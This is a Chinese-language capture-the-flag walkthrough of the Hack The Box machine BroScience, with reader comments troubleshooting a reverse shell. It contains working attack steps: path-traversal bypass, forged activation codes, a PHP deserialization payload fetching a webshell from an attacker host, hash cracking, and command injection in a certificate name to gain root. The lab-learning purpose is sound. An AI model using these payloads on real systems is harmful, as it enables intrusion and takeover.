房间链接:
https://app.hackthebox.com/machines/BroScience
挑战开始:
首先还是先扫描下端口
nmap -sC -sV -Pn 10.10.11.195
可以看到开放了22,80和443
把broscience.htb加入host
访问
这里我们用dirsearch进行信息搜集
dirsearch -e* -u https://broscience.htb/
找到了部分目录文件
网站右上角有登陆界面,访问进入登录界面
点击注册
尝试注册登录,但是注册的账号都需要邮箱验证
抓包测试了下注入之类,也都不存在
这时开始看探测出的目录
includes下面有5个文件
在点击img.php的时候,提示缺失参数
我们把参数补上,看到path首先想到的是任意文件读取
接着开始尝试
直接../../提示检测到攻击
尝试绕过
使用双重url编码成功绕过
接着查看下includes下面的一些文件
db_connect.php
img.php
utils.php
utils.php这个文件似乎是一个关键的东西
先看看注册的文件源码
在注册的时候生成了一个激活链接,链接中的激活码由utils.php生成
这时候我们回到utils.php,可以看到是基于时间生成的激活码
链接:
https://broscience.htb/activate.php?code={$activation_code}
关键代码:
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
我们要获取时间,然后归一化处理。
重新创建账号,获取时间
在线转换
重新构造一个php
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(1673846360);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
echo generate_activation_code();
?>
kali中 php -f
获取激活码
拼接激活链接
https://broscience.htb/activate.php?code=etQQ0cqGtz6dPZ5wjRbwvqMGYRmnawcr
成功激活账号
进入后台
右上角有一个更换主题的按钮
我们查看下源码
还得回到utils.php中看
感觉好像存在反序列化漏洞
代码中存在魔法函数__wakeup(),执行unserialize()时,先会调用这个函数
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
我可以控制文件发出url请求,并远程打开一个文件
攻击路径:
serialize -> AvatarInterface -> imgpath=/var/www/html/shell.php -> file_get_contents=http://10.10.16.19:8000/shell.php
这里我们准备下反弹shell的马
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
修改下上面的代码
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$obj = new AvatarInterface();
$obj->imgPath = '/var/www/html/shell.php';
$obj->tmp = 'http://10.10.16.19:8000/shell.php';
$obj_serialize = base64_encode(serialize($obj));
echo $obj_serialize;
?>
kali里面执行生成编码后的参数
接着我们更改cookie
接着在切换主题
可以发现shell被成功访问
接着本地做好监听
访问shell
可以发现成功收到shell
但是权限仍然不足
开始尝试提权
首先我们上面获取了数据库的链接密码
我们先去数据库里面看看
5432端口是postgresql
尝试访问
找到了bill的密码13edad4932da9dbb57d9cd15b66ed104
但是cmd5解不开,应该是加盐了
我们查看下源码
md5(db_salt . $_POST['password'])
db_salt已知
这里我们可以用hashcat爆破密码
hashcat -m 20 -a 0 13edad4932da9dbb57d9cd15b66ed104:NaCl /usr/share/wordlists/rockyou.txt --show
成功获取密码iluvhorsesandgym
尝试登陆
成功切换账号,成功找到user flag
接着尝试提权,这里linpea没有找到好用的提权方法,最后在opt下找到了一个脚本
该脚本是一个 bash 脚本,用于检查给定 SSL 证书文件是否过期,如果接近过期,它将打印出有关证书的信息,例如国家、州、组织和通用名称。该脚本接受一个参数,即证书的文件名,它使用 openssl 命令检查证书的到期日期并从证书中提取信息。如果证书还不需要续订,脚本将退出,状态代码为 0,如果证书即将过期,则状态代码为 1。因此,如果我们创建一个即将过期的证书,root 将生成一个新证书,并且在通用名称中包含恶意代码,以便 root 用户执行它。
进入bill目录下的certs文件夹
生成证书
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1
上面都随便填,common name填$(chmod u+s /bin/bash)
稍等进程触发,执行/bin/bash -p
成功提权
成功获取flag
Comments 5 条评论
博主 veasna
hi i have stuck when upload shell.php and it not revers back.
any help me? i thing problem with network i can’t access https://10.10.14.90:8000/shell.php
my host machine has ip 192.168.151.232/24 and may kali ip: 192.168.204.130.
博主 命运1ny
@veasna I think you should find the wrong IP address of kali. When you connect to openvpn, you will be assigned an intranet IP address, which should start with 10. You can see this ip on HTB or kali.
博主 veasna
yes, but it broscience web can’t get shell.php from my kali machine and this ip https://10.10.14.90:8000/shell.php is show in openvpn.
i don’t know why it can’t download? i have run phython3 -m http.server but it still get shell.php from my kali.
博主 命运1ny
@veasna After changing the cookie, you need to click to switch the theme to trigger the file get Contents, first of all, you should check whether your local http service has received the request after you click to switch the topic. If you do not receive the request, there may be a problem in the previous step. If you receive the request, you must listen locally, and access the shell file to receive the shell
博主 veasna
@命运1ny thank you, now Pwned